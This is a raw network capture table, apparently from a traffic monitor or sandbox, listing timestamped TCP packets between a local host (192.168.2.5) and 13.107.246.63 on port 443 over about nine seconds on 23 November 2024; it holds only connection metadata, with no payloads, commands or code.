Nov 23, 2024 15:38:02.969959021 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:02.970027924 CET	49869	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.970200062 CET	49869	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:02.970213890 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.084743023 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.084793091 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.084928036 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.084974051 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.085059881 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.085318089 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.104103088 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.104103088 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.104115963 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.104129076 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.109323978 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.109323978 CET	49865	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.109358072 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.109369993 CET	443	49865	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.203938007 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.203953981 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.203999996 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.204063892 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.204118967 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.408225060 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.408225060 CET	49863	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.408281088 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.408313036 CET	443	49863	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.410048962 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.410087109 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.410166025 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.412127972 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.412143946 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.413106918 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.413153887 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.413314104 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.413430929 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.413448095 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.413779020 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.413822889 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:03.413872004 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.413995028 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:03.414007902 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.547324896 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.547993898 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:04.548049927 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.548607111 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:04.548621893 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.798521996 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.799175024 CET	49869	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:04.799190044 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.799669027 CET	49869	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:04.799674034 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.994066000 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.997528076 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.997606039 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:04.997652054 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:04.997663021 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:04.997673988 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:04.997678041 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.000921011 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.000945091 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.001032114 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.001214981 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.001226902 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.194060087 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.197901964 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.197932005 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.198287010 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.198304892 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.198309898 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.198566914 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.198586941 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.198930025 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.198934078 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.202009916 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.205667019 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.205683947 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.206114054 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.206120014 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.233968019 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.243033886 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.243119955 CET	49869	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.243283033 CET	49869	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.243283033 CET	49869	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.243305922 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.243319988 CET	443	49869	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.246329069 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.246362925 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.246593952 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.246593952 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.246627092 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.640105963 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.643207073 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.643282890 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.643390894 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.643455982 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.643455982 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.643477917 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.643491983 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.644953966 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.646213055 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.646249056 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.646320105 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.646423101 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.646466970 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.646478891 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.646496058 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.646553993 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.646573067 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.646584034 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.646589041 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.648531914 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.648602962 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.648658037 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.648674965 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.648685932 CET	49872	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.648691893 CET	443	49872	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.648912907 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.648941994 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.648996115 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.649085045 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.649094105 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.650556087 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.650574923 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:05.650648117 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.650768042 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:05.650782108 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:06.851758003 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:06.852955103 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:06.853001118 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:06.853329897 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:06.853338957 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:06.963057995 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:06.963757038 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:06.963773012 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:06.964296103 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:06.964302063 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.306772947 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.309571981 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.309642076 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.309705019 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.309720039 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.309734106 CET	49873	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.309741974 CET	443	49873	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.313477039 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.313524008 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.313601017 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.313827038 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.313843966 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.396871090 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.400222063 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.400382042 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.400491953 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.400510073 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.400521994 CET	49874	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.400527954 CET	443	49874	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.403953075 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.403970003 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.404066086 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.404273987 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.404285908 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.440757990 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.443705082 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.443717957 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.444245100 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.444252014 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.554081917 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.554699898 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.554708958 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.555344105 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.555347919 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.619716883 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.620323896 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.620348930 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.621011019 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.621017933 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.884625912 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.888077021 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.888139009 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.888200998 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.888217926 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.888230085 CET	49875	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.888237000 CET	443	49875	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.891843081 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.891886950 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.891958952 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.892113924 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:07.892132998 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:07.997853994 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.003266096 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.003386974 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.003462076 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.003479958 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.003493071 CET	49877	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.003499985 CET	443	49877	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.006691933 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.006730080 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.006813049 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.007035017 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.007049084 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.064543962 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.070290089 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.070446014 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.070452929 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.070511103 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.070589066 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.070626974 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.070641994 CET	49876	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.070648909 CET	443	49876	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.073786020 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.073827028 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:08.073909044 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.074090958 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:08.074104071 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.104733944 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.105413914 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.105432034 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.105937004 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.105946064 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.183234930 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.183809996 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.183825970 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.184319973 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.184325933 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.557492971 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.560415983 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.560488939 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.560518980 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.560543060 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.560606956 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.560635090 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.560636044 CET	49878	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.560655117 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.560664892 CET	443	49878	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.564338923 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.564389944 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.564515114 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.564707041 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.564723015 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.614675045 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.615382910 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.615411997 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.616364002 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.616388083 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.626869917 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.629920959 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.629997969 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.630103111 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.630119085 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.630130053 CET	49879	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.630134106 CET	443	49879	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.636801958 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.636877060 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.636970997 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.637195110 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.637243032 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.813134909 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.813837051 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.813860893 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.814474106 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.814483881 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.863729000 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.864399910 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.864443064 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:09.865010023 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:09.865017891 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.051476002 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.055044889 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.055160999 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.055252075 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.055280924 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.055295944 CET	49880	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.055304050 CET	443	49880	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.058564901 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.058604956 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.058825970 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.059000969 CET	49885	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.059010983 CET	443	49885	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.350979090 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.353883028 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.353966951 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.354017973 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.354053020 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.354104996 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.354310989 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.354345083 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.354365110 CET	49882	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.354372025 CET	443	49882	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.371632099 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.371730089 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:10.371813059 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.372100115 CET	49886	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:10.372129917 CET	443	49886	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.355252981 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.356323004 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.356416941 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.356461048 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.356461048 CET	49881	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.356482983 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.356496096 CET	443	49881	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.357137918 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.357597113 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.357640028 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.358217001 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.358228922 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.360076904 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.360121965 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.360207081 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.360383034 CET	49887	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.360399008 CET	443	49887	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.422118902 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.422736883 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.422748089 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.423372984 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.423377991 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.791260958 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.791373968 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.791459084 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.791693926 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.791693926 CET	49884	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.791721106 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.791742086 CET	443	49884	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.795334101 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.795361042 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.795460939 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.795708895 CET	49888	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.795723915 CET	443	49888	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.878205061 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.880589962 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.880692005 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.880733967 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.880733967 CET	49883	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.880755901 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.880765915 CET	443	49883	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.884027958 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.884062052 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.884176016 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.884337902 CET	49889	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:11.884346962 CET	443	49889	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:11.914738894 CET	443	49885	13.107.246.63	192.168.2.5
